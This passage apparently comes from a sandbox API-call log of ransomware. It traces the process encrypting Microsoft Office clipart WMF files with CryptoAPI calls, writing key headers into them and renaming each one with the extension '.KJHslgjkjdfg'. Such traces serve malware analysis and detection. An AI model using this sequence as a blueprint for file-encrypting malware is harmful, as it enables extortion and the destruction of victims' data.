lpNewFilePointer=0x0) returned 1 [0159.973] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0159.975] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.975] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.975] GetProcessHeap () returned 0x2a0000 [0159.975] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.975] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.975] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.975] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.975] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.975] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.976] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.976] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.976] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.976] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.976] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x332, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x332, lpOverlapped=0x0) returned 1 [0159.976] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x340, dwBufLen=0x340 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x340) returned 1 [0159.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.976] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x340, lpOverlapped=0x0) returned 1 [0159.976] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.976] SetEndOfFile (hFile=0x114) returned 1 [0159.978] GetProcessHeap () returned 0x2a0000 [0159.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.978] GetProcessHeap () returned 0x2a0000 [0159.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.kjhslgjkjdfg")) returned 1 [0159.979] CloseHandle (hObject=0x114) returned 1 [0159.980] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0159.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.084] GetProcessHeap () returned 0x2a0000 [0160.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.085] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.085] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.085] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.085] GetProcessHeap () returned 0x2a0000 [0160.085] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.085] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.085] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.085] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.087] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.087] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.087] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.087] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.087] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.087] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.087] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3960, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3960, lpOverlapped=0x0) returned 1 [0160.088] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3960, dwBufLen=0x3960 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3960) returned 1 [0160.088] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.089] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3960, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3960, lpOverlapped=0x0) returned 1 [0160.089] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.089] SetEndOfFile (hFile=0x114) returned 1 [0160.091] GetProcessHeap () returned 0x2a0000 [0160.091] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.091] GetProcessHeap () returned 0x2a0000 [0160.091] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.kjhslgjkjdfg")) returned 1 [0160.092] CloseHandle (hObject=0x114) returned 1 [0160.092] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0160.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.093] GetProcessHeap () returned 0x2a0000 [0160.093] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.093] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.093] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.093] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0160.095] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.095] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.095] GetProcessHeap () returned 0x2a0000 [0160.095] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.095] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.095] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.095] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.096] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.096] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.096] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.096] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.096] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.096] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.096] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.096] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x34e2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x34e2, lpOverlapped=0x0) returned 1 [0160.097] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x34f0, dwBufLen=0x34f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x34f0) returned 1 [0160.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.097] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x34f0, lpOverlapped=0x0) returned 1 [0160.097] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x35c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.097] SetEndOfFile (hFile=0x114) returned 1 [0160.100] GetProcessHeap () returned 0x2a0000 [0160.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.100] GetProcessHeap () returned 0x2a0000 [0160.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.kjhslgjkjdfg")) returned 1 [0160.107] CloseHandle (hObject=0x114) returned 1 [0160.107] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0160.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.108] GetProcessHeap () returned 0x2a0000 [0160.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.108] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.108] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.108] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0160.111] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.111] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.111] GetProcessHeap () returned 0x2a0000 [0160.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.111] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.111] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.111] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.111] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.111] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.111] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.111] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.111] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.111] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.111] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16a6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16a6, lpOverlapped=0x0) returned 1 [0160.112] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16b0, dwBufLen=0x16b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16b0) returned 1 [0160.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.112] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16b0, lpOverlapped=0x0) returned 1 [0160.112] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.113] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.113] SetEndOfFile (hFile=0x114) returned 1 [0160.115] GetProcessHeap () returned 0x2a0000 [0160.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.115] GetProcessHeap () returned 0x2a0000 [0160.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.kjhslgjkjdfg")) returned 1 [0160.116] CloseHandle (hObject=0x114) returned 1 [0160.116] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0160.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.116] GetProcessHeap () returned 0x2a0000 [0160.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.117] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.117] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.117] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0160.118] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.119] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.119] GetProcessHeap () returned 0x2a0000 [0160.119] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.119] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.119] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.119] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.119] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.119] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 